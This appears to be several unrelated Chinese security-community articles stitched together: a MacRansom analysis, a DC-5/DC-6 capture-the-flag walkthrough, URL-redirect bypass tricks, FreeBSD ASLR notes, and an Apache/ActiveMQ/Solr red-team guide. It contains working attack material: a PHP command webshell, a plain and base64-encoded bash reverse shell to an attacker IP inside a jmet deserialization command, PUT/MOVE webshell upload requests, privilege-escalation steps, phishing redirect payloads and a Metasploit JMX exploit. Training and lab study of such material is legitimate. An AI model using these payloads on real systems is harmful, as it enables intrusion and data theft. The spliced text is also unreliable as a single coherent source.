这个MacRansom变种从网站中得到不易。它必须直接联系作者构建勒索软件。首先，我们认为它是个骗局，因为没有样本。但是通过作者邮件得到了意外的答复。
在我们首次邮件问询中，我们向作者说明了大概的要求，例如需要支付的比特币数量，触发勒索软件的日期，并且如果有人插入了USB设备它能被执行。
我们在上午11点 (GMT+8)发送了邮件，大约在当天下午9点得到了首次回应。
回应1（9点）
达成6月1日触发的共识，并提供了我的比特币地址，作者发了样本。
回应2（11点）
因为作者响应很快，我们试图深入的询问勒索软件相关的内容。
回应3（12点）
观察回应的时间，可以猜到作者可能在不同的时区，因为一般在深夜回复（对她们来说可能是早上）。同时，在第一次回应中，作者说“在你当地时间的6月1日午夜”。在发邮件时他们可能注意到了时间的不同。
为了验证勒索软件作者的地理位置，我们查看了原始的SMTP头，并且找到了他们的时区是GMT – 4。
**
**
**0x02 行为分析**
接下来，我们开始执行恶意软件。下面是作者宣称的功能点。我们看了下代码，查看是否有这些功能。
运行MacRansom，首先得到一个来自未定义的开发者的一个提示。因此，只要用户没有打开来自未知的开发者的文件，他们是安全的。点击打开使得勒索软件可以运行。
**0x03 反分析**
首先这个勒索软件检查自己是否运行于非Mac环境中，或者是否被调试。如果这些条件没有满足，勒索软件将会终止。
它以PT_DENY_ATTACH为参数调用ptrace或者进程跟踪命令行来检查勒索软件是否被附加调试器。
然后，使用sysctl hw.model命令行，检查机器型号并与“Mac”字符串比较。
最后，检查机器是否有两个CPU
**0x04 启动点**
一旦通过了初始检查，勒索软件创建了一个启动点~/LaunchAgent/com.apple.finder.plist。文件名模仿了Mac中的合法文件，以减少可疑程度。这个启动点允许MacRansom在每次启动是运行，并确保在触发时间加密。
com.apple.finder的内容：
然后拷贝原始的可执行文件到~/Library/.FS_Store。再次伪装成合法的文件名。在文件拷贝后，使用touch -ct 201606071012
'%s'命令改变时间戳。改变时间戳通常用来混淆调查取证。
然后勒索软件使用launchctl来加载com.apple.finder.plist。
**0x05 加密**
如上文提到，加密有触发时间，其由作者设置。在我们的例子中，是2017年6月1日零点。如果日期没到，勒索软件退出。
如果触发时间到了，勒索软件开始使用下面的命令行来枚举文件。对于勒索软件这不是常见的枚举文件的方式，但是一直很有效，因为大部分勒索软件遍历目录，和包含的文件扩展来确定加密文件。
%s是勒索软件的文件路径：
勒索软件最多只加密128个文件，通过上述命令返回。
和其他加密勒索软件比，这个加密算法是核心部分，在这上面我们花了大量的时间。我们的目的是找到RSA加密路径，然而这个勒索软件不像之前披露其他的OSX加密勒索软件那么复杂。它使用硬编码密钥的对称加密算法来劫持受害者的文件。这个勒索软件使用了两种对称密钥：
ReadmeKey: 0x3127DE5F0F9BA796
TargetFileKey: 0x39A622DDB50B49E9
ReadmeKey用来解密_README_文件，其包含了勒索提示和指令，TargetFileKey用来加密和解密受害者的文件。
值得注意的一件事是我们发现当逆向加密/解密算法时，TargetFileKey由随机生成的数字生成。换句话说，加密的文件一旦在勒索软件退出后将无法解密，TargetFileKey的内存将被释放，因此创建一个解密器或者恢复工具来恢复加密的文件有点挑战。而且，它没有任何与C&C服务器通信的功能，意味着没有TargetFileKey的密钥副本。但是，技术上恢复TargetFileKey是可行的。已知的技术是暴力破解。现代CPU暴力破解8字节长的密钥不需要花太久。
然而，我们依然怀疑作者号称能解密被劫持的文件，甚至假设受害者发送给作者一个未知的随机文件，见下图的勒索提示，不是完全正确的。
加密过程的伪代码如下：
在成功加密文件之后，它也会加密com.apple.finder.plist和原始的可执行文件。改变时间戳，并删除他们。作者这么做是为了即使使用恢复工具得到勒索软件，也是无意义的。
勒索软件需要0.25比特币（大约700美元），需要受害者联系[email protected]来解密。
**0x06 总结**
并不是每天都能看到新的专门针对Mac平台的勒索软件。尽管它的危害远低于目前针对Windows的勒索软件，但是它会加密受害者的文件或者阻止访问重要文件，从而造成严重危害。
这个MacRansom变种可能是模仿者制作的，因为我们看到很多来自之前的OSX勒索软件中的类似代码和想法。尽管它不同于之前的OSX勒索软件使用了反分析技巧，但是这些都是广为传播的技术。不管运行的操作系统平台，MacRansom是勒索软件盛行的另一个例子。针对勒索软件没有完美的缓解措施。然而，经常备份重要文件能将损失降到最低，同时要注意未知源或开发者的文件。
**0x07 附录**
Samples:
a729d54da58ca605411d39bf5598a60d2de0657c81df971daab5def90444bcc3 – Zip
Detected as OSX/MacRansom.A!tr
617f7301fd67e8b5d8ad42d4e94e02cb313fe5ad51770ef93323c6115e52fe98 – Mach-O file
Dropped files:
~/LaunchAgent/com.apple.finder.plist
~/Library/.FS_Store
MacRansom网站的FAQ： | 社区文章 |
# 渗透测试实战——DC-5+DC-6靶机入侵
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
hello，大家好！爱写靶机文章的我又来了…最近工作忙到飞起，根本没空忙自己的事情..所以迟迟没有更新，这次给大家带来的是DC-5、DC-6的靶机wp，本来准备把
DC-2-DC-4的一起写的，结果发现已经有小伙伴抢先写了
## 靶机下载/安装
DC-5: <http://www.five86.com/dc-5.html>
DC-6: <http://www.five86.com/dc-6.html>
## 实战
### DC-5
老规矩探测一下靶机 IP
下一步nmap探测一下端口开放情况，
可以看到靶机开放了3个端口，分别是 80、111、50614
我们还是先看看 80端口
可以看到非常简单的几个页面，还是一样用目录拆解工具跑一波，小弟这里使用的是gobuster
小弟刚开始的时候就草草的看了一下，但是没发现什么，就把目光盯在111端口的
rpc服务上了，以为靶机是通过挂在盘解的，然后试了一下看了一下感觉不对，没什么进展。然后又重新跑了一遍目录，重新开始查看跑出来的结果，查看
/footer.php，如图
发现每次访问这个后面的年份都会改变，如图：
然后在查看 /thankyou.php 文件时，发现了这个
可以看到该php在底部直接调用了/footer.php，
（注：这里是直接调用，不是写在底部，因为跟 上面一样，每次访问年份都在变化。）
应该是使用php的 ‘include()’ 函数来包含了 ‘footer.php’
文件，这样直接导致了LFI漏洞，下面我们来测试一下漏洞是否真的存在和看一下是否会过滤包含进来的文件，
如图：
可以看到的确存在该漏洞并且没有过滤包含进来的内容，下面我们怎么通过LFI漏洞拿shell呐？
通过第一步的端口探测中可以看到，该web服务使用的是nginx服务，大家都知道我们在网站上的每一步操作都是会被写入log文件内的，那么我们就可以通过log来拿
shell，
操作如下：
**第一步**
随意写入个get的cmdshell
代码为：<?php passthru($_GET[‘cmd’]); ?>
**第二步**
直接包含nginx log的地址就行
这个地址是Linux默认的
最后一步，我们带上cmd命令
本次使用命令是连接攻击者电脑的5555端口
成功拿到webshell
参考地址：<https://roguecod3r.wordpress.com/2014/03/17/lfi-to-shell-exploiting-apache-access-log/>
下一步我们就是提权了，老规矩 在/tmp目录下上提权辅助脚本
跑完以后发现了一个熟悉的面孔。。。
screen 前段时间在某个环境上看到过，并且也通过其提权成功了，下面我们也使用该程序完成提权工作吧，
搜索 screen，找到了 利用程序
地址：<https://www.exploit-db.com/exploits/41154>
但是这个脚本直接执行是出错的，我们需要完成以下几个工作
第一步
把该bash文件的上面一部分c语言代码单独复制出来，如图
然后在本地编译它，编译命令 .sh里有
“gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c”
第二步
把下面一个c语言 代码也单独复制出来编
命令：“gcc -o /tmp/rootshell /tmp/rootshell.c”
第三步
修改原来的那个bash文件，如图：
最后把这3个文件全部都上传到靶机上面，如图
然后执行该bash，发现出错。
最后通过搜索发现是因为 该sh开发作者是使用 Windows环境 开发，
用vi打开该sh文件，使用 :set ff=unix 保存，即可解决该问题
参考地址：<https://blog.csdn.net/ooooooobh/article/details/82766547>
最后 成功拿到root权限，如图
拿到flag
### DC-6
老规矩，探测靶机IP
下一步探测 靶机端口 开放情况，如图
可以看到 <http://wordy/>
我们添加一下hosts文件
访问如图：
通过上图，可以很明显的看出是个wp，
不用 怀疑，
直接使用wpscan —url <http://wordy/> -e
查找网站 上的所有用户
保存 用户
下一步根据上面下载地址处作者的提示，我们生产一个字典包
就这样一条小命令，让我们省去了几年的爆破时间，我真的是谢谢你全家啊 哈哈哈哈
下一步直接爆破 其web账户把
小等一会，成功破解出来了
账户 mark – helpdesk01
成功登陆后台，
但是因为是普通用户权限，无法直接写shell，我们继续看看
然后发现了这个，
通过搜索，发现其有一个csrf的漏洞
地址：<https://www.exploit-db.com/exploits/45274>
我们直接复制html进行修改
但是改完以后怎么样都无法成功弹shell，
然后小弟就搜索该cve号，找到一篇复现文章，地址：<https://github.com/aas-n/CVE/blob/6079ec210cef36d7632dde411b3e611a2de99b43/CVE-2018-15877/README.md>
测试如图：
可以看到漏洞说的确存在的，那么我们下一步就弹shell吧
成功拿到了shell，
下面我们进行进一步操作
拿到账号密码
graham : GSo7isUM1D4
我们使用拿到的账号密码登陆ssh
下面提权
可以看到 “backups.sh” 不需要密码，即可修改
这里下一步，相信看过小弟前面的文章的小伙伴就知道怎么操作了，我这里也就不详细说了，操作如图：
到了这里我们还不是root权限，下面我们继续提权，如图
可以看到其有安装nmap，且为root权限，无需密码
这里的绕过方法如下
先写一个nmap插件nse，如上图
下面只需要nmap加载其就可以，如图
下面拿flag
本靶机完！
## 结语
希望您也能不看文章自己实战一下。祝您及家人身体健康，感谢观看！ | 社区文章 |
# 前言
最近在一些厂商项目中开始接触到一些url任意重定向，虽然是低危，奖金较低，（虽然国外已经是几百$）但是一旦找到突破点，几乎整个站的url跳转都可以bypass，一个厂商所有点的url跳转加起来奖金也比较可观，所以将自己挖掘过程中一点点心得分享一下。
# 简介
先走个流程说些废话，url重定向漏洞也称url任意跳转漏洞，网站信任了用户的输入导致恶意攻击，url重定向主要用来钓鱼，比如url跳转中最常见的跳转在登陆口，支付口，也就是一旦登陆将会跳转任意自己构造的网站，如果设置成自己的url则会造成钓鱼，浅析危害。
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form method="get" action="url.php">
<br><br><br><br>
username:
<input type="text" name="username">
<br><br>
password:
<input type="text" name="password">
<input type="submit" value="登陆" name="password">
</form>
<?php
$url=$_GET['redict'];
echo $_GET['username'];
if ($_GET['username']&&$_GET['password']) {
header("Location:$url");exit;
}
?>
最简单的代码实例，也是很贴近真实渗透的案例，登陆跳转，后面通常是加上自己业务的url，一旦存在url任意重定向，发送给用户，会毫不疑问的输入账号密码登陆，然后跳转到我们想要他跳转的url，比如：
我们发送给用户这样的url，
http://127.0.0.1/url.php?username=&password=&redict=http://127.0.0.1/fish.php
用户正常输入账号密码登陆点击登陆。跳转到构造的页面。(我可真是个钓鱼鬼才)
当然钓鱼界面可以伪造一切你想获取的信息。
# bypass
其实bypass没什么新的套路(我暂时没)，都是网上有的，师傅们可以百度到的，我整理一下，利用上面的代码简单测试，都是本地测试通过的。www.xiaozhupeiqi.com是服务器要求跳转的url。
1.最常用的一条：@绕过。
http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://[email protected] //ssrf也可用
2.绕过一些匹配特定字符。
？绕过
http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com?www.xiaozhupeiqi.com
#绕过
http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com#www.xiaozhupeiqi.com
3.斜杠/绕过
http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com/www.xiaozhupeiqi.com
或者反斜线
http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com\www.xiaozhupeiqi.com
4.白名单匹配绕过
比如匹配规则是必须跳转，xiaozhupeiqi.com 域名下，?#等都不行的时候，如果匹配规则为xiaozhupeiqi.com，可以尝试百度inurl:xiaozhupeiqi.com的域名，比如
aaaxiaozhupeiqi.com，这样同样可以绕过。接下来实战中会用到，
5.xip.io绕过
http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.xiaozhupeiqi.com.220.181.57.217.xip.io
会跳转到百度
6.理想化方法
如果有机会在自己的页面设置url跳转，比如目标网站的bbs论坛自己的资料页面设置url跳转，既然是服务器的网站，那么url是不会限制的，可以用一个漏洞去构造另一个漏洞。
7.白名单网站可信
如果url跳转点信任百度url，google url或者其他，则可以多次跳转达到自己的恶意界面。
8.协议绕过
http与https协议转换尝试，或者省略
http://127.0.0.1/url.php?username=1&password=1&password=1&redict=//[email protected]
http://127.0.0.1/url.php?username=1&password=1&password=1&redict=////[email protected]//多斜线
9.xss跳转
这种就没啥说的了，就是XSS造成的跳转，下面也有案例，在有些情况下XSS只能造成跳转的危害。
<meta content="1;url=http://www.baidu.com" http-equiv="refresh">
# fuzz几个参数
redirect
url
redirectUrl
callback
return_url
toUrl
ReturnUrl
fromUrl
redUrl
request
redirect_to
redirect_url
jump
jump_to
target
to
goto
link
linkto
domain
oauth_callback
# 实战几个案例
1.最常见的登陆跳转
登陆跳转我认为是最常见的跳转类型，几乎百分之七八十网站都会url里设置跳转，所以在登陆的时候建议多观察url参数，通常都会存在跳转至于存不存在漏洞需要自己测试。
上面的类型四,
漏洞url ：
https://xx.xxx.com/User/Login?redirect=http://xxx.com/
为登陆页面，如果登陆成功那么跳转<http://xxx.com/，但是所有方式都无法绕过，但是发现可以跳转aaxxx.com，也就是匹配规则为必须为xxx.com的网址，但是aaxxx.com同样也可以。>
方法：
百度 inurl:xxx.com，即可百度到很多域名包含xxx.com的url，即可实现跳转,不小心百度到一个黄域，正好证明危害登陆跳XX网。
还有一些花里胡哨的base64加码了的跳转，解码就是需要跳转的url,其实本质都一样，
2.@绕过
@是最常见的一种绕过。
漏洞url
https://xx.xxx.com/user/goToLogin?toUrl=https://[email protected]
这种跳转在chrome浏览器可以直接跳转，但是在火狐会弹框询问，但是并不影响它的危害。
火狐下@的跳转。
还有一些是跳转目录的，
如：
https://xx.xxx.com.cn/?redirect=/user/info.php
修改为
https://xx.xxx.com.cn/[email protected]
这种情况通常@也可以跳转，大胆的去尝试
3.充值接口跳转
通常充值接口都会进行跳转，如充值成功会跳转到充值前访问的页面，因为充值接口需要充值才能知道到底存不存在漏洞，所以测试的人相对少一些，大胆去尝试，单车变摩托，充值完成后还可以提现其实并不影响，不嫌麻烦就多测测。这些都是跳转成功的案例。
4.xss造成的url跳转
在一次渗透测试中，碰到一个站点，对<>"这些字符都是进行了过滤。且没有其他姿势配合，基本上告别了XSS等漏洞。如下
可以发现我输入了xsstest<>"，但是<>被直接删除过滤掉了，但是发现双引号还在，先看下源码是怎么处理的。
乍一看双引号也被转义了，输入的xsstest
搜索有十七处，大部分被实体化了，还有一部分双引号被url编码了，但是此时突然发现我箭头指的一处并未对双引号进行转义或者过滤，虽然<>已经完全被过滤掉了。
此时构造meta的url跳转。
payload：
http://xxx.com/search?w=1;url=http://www.baidu.com" http-equiv="refresh&fsearch=yes
其中输入
1;url=http://www.baidu.com" http-equiv="refresh
最终闭合掉得到的源码为。
最终点击payload会跳转百度页面，其实这个严格意义上来说算XSS造成的跳转，构造应该也可以XSS。
5.业务完成后跳转
这可以归结为一类跳转，比如修改密码，修改完成后跳转登陆页面，绑定银行卡，绑定成功后返回银行卡充值等页面，或者说给定一个链接办理VIP，但是你需要认证身份才能访问这个业务，这个时候通常会给定一个链接，认证之后跳转到刚刚要办理VIP的页面。
通常这个点都会存在跳转至于存不存在任意跳转，师傅们自测,有些跳转业务不好码就不发了。
6.用户交互
在一些用户交互页面也会出现跳转，如请填写对客服评价，评价成功跳转主页，填写问卷，等等业务，注意观察url。
问卷调查提交跳转。
7.漏洞构造漏洞
一次渗透测试中碰到一个任意文件上传漏洞，但是不幸的是没办法解析任何后端语言，没办法进一步利用，只能前端造成一点危害，但是存放文件的服务器一般比较偏远，此时可以利用我们任意文件上传的html，然后来进一步利用，绕过本来无法绕过的url跳转漏洞。因为存放文件的域名肯定是符合网站跳转范围。
最终构成url跳转漏洞，当然可以获取cookie造成更多的危害，本文仅讨论url跳转。
ps:如果有其他小技巧我会更新到本篇文章。
参考：<https://www.anquanke.com/post/id/94377?from=singlemessage> | 社区文章 |
**作者： wzt
原文链接：<https://mp.weixin.qq.com/s/8g0Hws3eRN8Vp_mzglbmJA>**
# 1 简介
今天继续分析下Freebsd进程的栈、堆、代码段的地址随机化实现。
## 1.1 不可思议的栈随机化
可能读者朋友会比较诧异，freebsd内核没有提供进程栈的地址随机化功能。 进程栈的地址是execve加载磁盘上的二进制文件时初始化的：
kern/kern_exec.c：
kern_execve()->do_execve()->exec_copyout_strings()
register_t *
exec_copyout_strings(struct image_params *imgp)
{
arginfo = (struct ps_strings *)p->p_sysent->sv_psstrings;[1]
destp = (uintptr_t)arginfo;[2]
}
exec_copyout_strings用来拷贝当前进程的二进制信息，这些信息会被动态连接器使用。
[1] 处p->p_sysent->sv_psstrings保存的是当前进程的二进制信息，它位于栈基地址的附近。
看下init进程的sysentvec信息：
struct sysentvec null_sysvec = {
.sv_usrstack = USRSTACK,
.sv_psstrings = PS_STRINGS,
}
#define PS_STRINGS (USRSTACK - sizeof(struct ps_strings))
sv_psstrings紧挨着栈的开始地址。
amd64/include/vmparam.h
#define VM_MAXUSER_ADDRESS UVADDR(NUPML4E, 0, 0, 0)
#define SHAREDPAGE (VM_MAXUSER_ADDRESS - PAGE_SIZE)
#define USRSTACK SHAREDPAGE
以amd64架构为例，USRSTACK为进程空间最大的用户态地址减去一个PAGE_SIZE。
通过代码路径的溯源，可以看到freebsd的内核并没有对栈的地址有随机化的动作！
## 1.2 BRK地址随机化
Libc的brk函数用来控制进程的heap大小，但是从内核源码来看， freebsd并没有提供brk的系统调用。
vm/vm_mmap.c：
int
sys_sbrk(struct thread *td, struct sbrk_args *uap)
{
/* Not yet implemented */
return (EOPNOTSUPP);
}
事实上，freebsd的进程空间结构与linux的有所不同，
内核对进程空间的管理并没有明确的brk和mmap概念，linux的mm_struct结构体会有brk和mmap的开始地址标记。
include/linux/mm_types.h：
struct mm_struct {
unsigned long mmap_base;// mmap区域的基地址
unsigned long start_brk, brk, start_stack;// brk区域的及地址
}
Linux对brk和mmap区域都有明显的界限划分，并且都提供了它们的地址随机化能力。
在来看下freebsd的定义：
vm/vm_map.h：
struct vmspace {
caddr_t vm_taddr; // 代码段基地址
caddr_t vm_daddr;// 数据段基地址
}
Freebsd的进程空间区域只包含代码段和数据段，
动态生成的heap区域就在data段的后面。虽然libc库有包装了brk，但是内核没有提供此架构与功能。用户态的内存分配器比如jemalloc，它会优先选择使用mmap来分配内存。
## 1.3 mmap地址随机化
接下来继续分析mmap的地址随机化实现, 我们以mmap建立一个匿名映射的路径来分析：
vm/vm_mmap.c:
sys_mmap()->kern_mmap()->vm_mmap_object():
int
vm_mmap_object(vm_map_t map, vm_offset_t *addr, vm_size_t size, vm_prot_t prot,
vm_prot_t maxprot, int flags, vm_object_t object, vm_ooffset_t foff,
boolean_t writecounted, struct thread *td)
{
if (curmap) {
rv = vm_map_find_min(map, object, foff, addr, size,[1]
round_page((vm_offset_t)td->td_proc->p_vmspace->
vm_daddr + lim_max(td, RLIMIT_DATA)), max_addr,[2]
findspace, prot, maxprot, docow);
}
[1] 处用来寻找进程空间是否存在一个合适的地址范围，注意看[2]处的参数为地址范围的最小值，它被设置为vm_daddr + lim_max(td,
RLIMIT_DATA))， 也就是数据段的最后地址，所以说freebsd的mmap是从紧挨着数据段后面开始的。
vm_map_find_min()->vm_map_find():
int
vm_map_find(vm_map_t map, vm_object_t object, vm_ooffset_t offset,
vm_offset_t *addr, /* IN/OUT */
vm_size_t length, vm_offset_t max_addr, int find_space,
vm_prot_t prot, vm_prot_t max, int cow)
{
if (try == 1 && en_aslr && !cluster) {
pidx = MAXPAGESIZES > 1 && pagesizes[1] != 0 &&[1]
(find_space == VMFS_SUPER_SPACE || find_space ==
VMFS_OPTIMAL_SPACE) ? 1 : 0;
gap = vm_map_max(map) > MAP_32BIT_MAX_ADDR &&[2]
(max_addr == 0 || max_addr > MAP_32BIT_MAX_ADDR) ?
aslr_pages_rnd_64[pidx] : aslr_pages_rnd_32[pidx];
if (vm_map_findspace(map, curr_min_addr, length +
gap * pagesizes[pidx], addr) ||
(max_addr != 0 && *addr + length > max_addr))
goto again;
/* And randomize the start address. */
*addr += (arc4random() % gap) * pagesizes[pidx];[3]
}
[1]处Pidx用来选择page size的小大， [2]处gap用来选择随机化的page数目。[3]处通过arc4random()生成一个随机数,
并计算最后的随机地址。以amd64架构为例：
static const int aslr_pages_rnd_64[2] = {0x1000, 0x10};
u_long pagesizes[MAXPAGESIZES] = { PAGE_SIZE };
可以看到mmap的最大地址随机范围不超过：0x1000*4096=0x1000000, 也就10M的地址范围，随机范围并不大。
## 1.4 代码段地址随机化
代码段指的是text代码段，包含共享库，它们的基地址，freebsd都做了随机化的能力。
kern/imgact_elf.c：
static int
__CONCAT(exec_, __elfN(imgact))(struct image_params *imgp)
{
if (hdr->e_type == ET_DYN) {
if (baddr == 0) {
if ((sv->sv_flags & SV_ASLR) == 0 ||
(fctl0 & NT_FREEBSD_FCTL_ASLR_DISABLE) != 0)
et_dyn_addr = ET_DYN_LOAD_ADDR;
else if ((__elfN(pie_aslr_enabled) &&
(imgp->proc->p_flag2 & P2_ASLR_DISABLE) == 0) ||
(imgp->proc->p_flag2 & P2_ASLR_ENABLE) != 0)
et_dyn_addr = ET_DYN_ADDR_RAND;
else
et_dyn_addr = ET_DYN_LOAD_ADDR;
}
}
对于使用pie编译为地址无关代码的程序，或者共享库文件，elf文件头都设置为ET_DYN，
elf的第一个load段内存地址都设置为0。如果没有开启地址随机化，那么et_dyn_addr被设置为0x01021000(64位)。如果设置随机化，则执行如下路径：
`maxv = vm_map_max(map) - lim_max(td, RLIMIT_STACK);`
if (et_dyn_addr == ET_DYN_ADDR_RAND) {
et_dyn_addr = __CONCAT(rnd_, __elfN(base))(map,
vm_map_min(map) + mapsz + lim_max(td, RLIMIT_DATA),
/* reserve half of the address space to interpreter */
maxv / 2, 1UL << flsl(maxalign));
}
rnd函数从某个地址范围随机选取一个满足条件的地址区域。它的最小地址设置为数据段的开始地址，最大地址为栈的下限地址。
static u_long
__CONCAT(rnd_, __elfN(base))(vm_map_t map __unused, u_long minv, u_long maxv,
u_int align)
{
u_long rbase, res;
arc4rand(&rbase, sizeof(rbase), 0);
res = roundup(minv, (u_long)align) + rbase % (maxv - minv);
res &= ~((u_long)align - 1);
if (res >= maxv)
res -= align;
}
* * * | 社区文章 |
# 1、详谈Web服务器
常用的Web服务器有Apache、Negix、Tomcat等，那他们之间有什么区别：
#### Apache服务器与Tomcat关系
Apache只支持纯静态页面，如何需要使用第三方脚本如php\cgi\perl就需要安装第三方模块，jsp则需要安装配置tomcat。
apache通过扩展可以支持php\cgi\perl,但是要使用java的话，你需要tomcat在apache后台支撑，将java请求由apache转发给tomcat处理。
一般使用apache+tomcat的话，apache只是作为一个转发，对jsp的处理是由tomcat来处理的。
如果要在APACHE环境下运行jsp 的话就需要一个解释器来执行jsp网页 而这个jsp解释器就是TOMCAT,
为什么还要JDK呢？因为jsp需要连接数据库的话就要jdk来提供连接数据库的驱程，所以要运行jsp的web服务器平台就需要APACHE+TOMCAT+JDK
整合的好处是：
1、如果客户端请求的是静态页面，则只需要Apache服务器响应请求 如果客户端请求动态页面，则是Tomcat服务器响应请求
因为jsp是服务器端解释代码的，这样整合就可以减少Tomcat的服务开销
2、apache:侧重于http server
tomcat:侧重于servlet引擎，如果以standalone方式运行，功能上与apache等效 ， 支持JSP，但对静态网页不太理想；
#### Apache服务器与Negix关系
Nginx是一款开源的轻量级的web服务器/反向代理服务器软件，其特点是占用内存少，并发能力强，也是目前比较流行的web服务器软件之一。静态页面处理能力较强，尤其是反向代理服务表现突出，常被用作负载均衡和代理服务器使用。常见的网站架构有：nginx+php、nginx+tomcat、nginx+apache+php等。
由于Negix服务器反向代理服务比较突出且自身不支持通过扩展实现动态页面，往往使用Negix通过反向代理将请求发送到后端的服务器，
例如 Tomcat、Apache、IIS 等来完成动态页面的请求处理
## 2、安全配置
### 2.1 目录遍历
导致目录遍历的配置：
修改配置为：
### 2.2 隐藏Apache响应头中的版本信息
修改http.conf中ServerToken字段，若系统配置文件中不存在则直接添加。
ServerTokens Prod 显示“Server: Apache”
ServerTokens Major 显示 “Server: Apache/2″
ServerTokens Minor 显示“Server: Apache/2.2″
ServerTokens Min 显示“Server: Apache/2.2.17″
ServerTokens OS 显示 “Server: Apache/2.2.17 (Unix)”
ServerTokens Full 显示 “Server: Apache/2.2.17 (Unix) PHP/5.3.5″
### 2.3 禁用非法的HTPP方法,同时禁用TRACE方法
在http.conf中添加配置信息
<Location "/">
<LimitExcept GET POST OPTIONS>
Order Allow,Deny
Deny from all
</LimitExcept>
</Location>
TraceEnable off
### 2.3 Apache文件解析漏洞
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
因此我可以上传一个test.php.qwea文件绕过验证且服务器依然会将其解析为php。
## 3、红队常见攻击漏洞
### 3.1 Apache ActiveMQ
#### Console存在默认端口和默认密码/未授权访问
ActiveMQ默认使用8161端口(默认密码为admin:admin)
#### ActiveMQ物理路径泄漏漏洞
ActiveMQ默认开启PUT请求，当开启PUT时，构造好Payload(即不存在的目录)，Response会返回相应的物理路径信息(无需认证)：
Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: XXXXXX:8161
Authorization: Basic XXXXX
Content-Length: 4
test
#### ActiveMQ PUT任意文件上传漏洞
ActiveMQ默认开启PUT方法，当fileserver存在时我们可以上传jspwebshell（需要认证成功）
PUT /fileserver/667.jsp HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 842
shell code
上传的shell缺少执行权限
成功根据任意文件移动将shell进行转移至有执行权限的目录
##### 利用PUT方法写入ssh公钥
使用`ssh-keygen -t rsa`生成密钥对
移动公钥文件目录并重命名文件
之后即可使用ssh直接进行连接
#### ActiveMQ任意文件文件移动漏洞
影响版本：Apache ActiveMQ 5.x ~ 5.14.0
CVE信息：CVE-2016-3088
可以借助PUT方法构造不存在的目录，造成服务器返回真实的物理路径，从而将shell移动到具有执行权限的目录。
MOVE /fileserver/shell.jsp HTTP/1.1
Destination: file:////usr/local/Cellar/activemq/5.10.1/libexec/webapps/admin/667.jsp
Host: IP
Authorization: Basic XXXXXXXXX
Content-Length: 17
Content-Length: 0
#### ActiveMQ反序列化漏洞
影响版本：Apache ActiveMQ 5.13.0的版本之前
CVE信息：CVE-2015-5254
ActiveMQ默认开启61616和8161两个端口其中61616是工作端口，消息在这个端口进行传递;
8161端口是网络管理页面端口访问<http://your-ip:8161> 即可看到网络管理页面
##### 攻击步骤：
构造（可以使用ysoserial）可执行命令的序列化对象，作为一个消息，发送给目标61616端口；当访问web管理页面，读取消息，触发漏洞。
1、使用jmet生成payload,需要安装java环境
地址：
`wget
https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar`
2、执行
```java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch
/tmp/success" -Yp ROME 靶机IP 61616
当攻击者访问管理界面，即可查看生成的payload。点击即可触发，会在被攻击者的目录下生成一个文件。
3、反弹shell
```bash -i >& /dev/tcp/攻击机IP/8888 0>&1
需要进行base编码绕过java机制
`bash -c {echo,payload的basse64编码}|{base64,-d}|{bash,-i}`
`bash -c
{echo,YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xNzIuMTYuMTIuMTMwLzg4ODggMCZndDsmMQ0K}|{base64,-d}|{bash,-i}`
再次执行攻击语句
`java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c
{echo,YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xNzIuMTYuMTIuMTMwLzg4ODggMCZndDsmMQ0K}|{base64,-d}|{bash,-i}"
-Yp ROME 靶机IP 61616`
侦听端口
### 3.2 Apache Solr
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene
实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。
#### CVE-2019-12409
影响版本：Linux 下的环境下的Apache Solr 8.1.1和8.2.0版本
存在默认不安全配置在solr.sh（ENABLE_REMOTE_JMX_OPTS="true"）,将导致启用JMX监视服务并将公网监听一个18983的RMI端口，且无需进行任何身份验证。
使用msf
msf5 > use multi/misc/java_jmx_server
msf5 exploit(multi/misc/java_jmx_server) > show options
Module options (exploit/multi/misc/java_jmx_server):
Name Current Setting Required Description
---- --------------- -------- ----------- JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
JMX_ROLE no The role to interact with an authenticated JMX endpoint
RHOSTS yes The target address range or CIDR identifier
RPORT yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
-- ---- 0 Generic (Java Payload)
msf5 exploit(multi/misc/java_jmx_server) > set RHOSTS a.a.a.a
RHOSTS => a.a.a.a
msf5 exploit(multi/misc/java_jmx_server) > set RPORT 18983
RPORT => 18983
msf5 exploit(multi/misc/java_jmx_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf5 exploit(multi/misc/java_jmx_server) > show options
Module options (exploit/multi/misc/java_jmx_server):
Name Current Setting Required Description
---- --------------- -------- ----------- JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
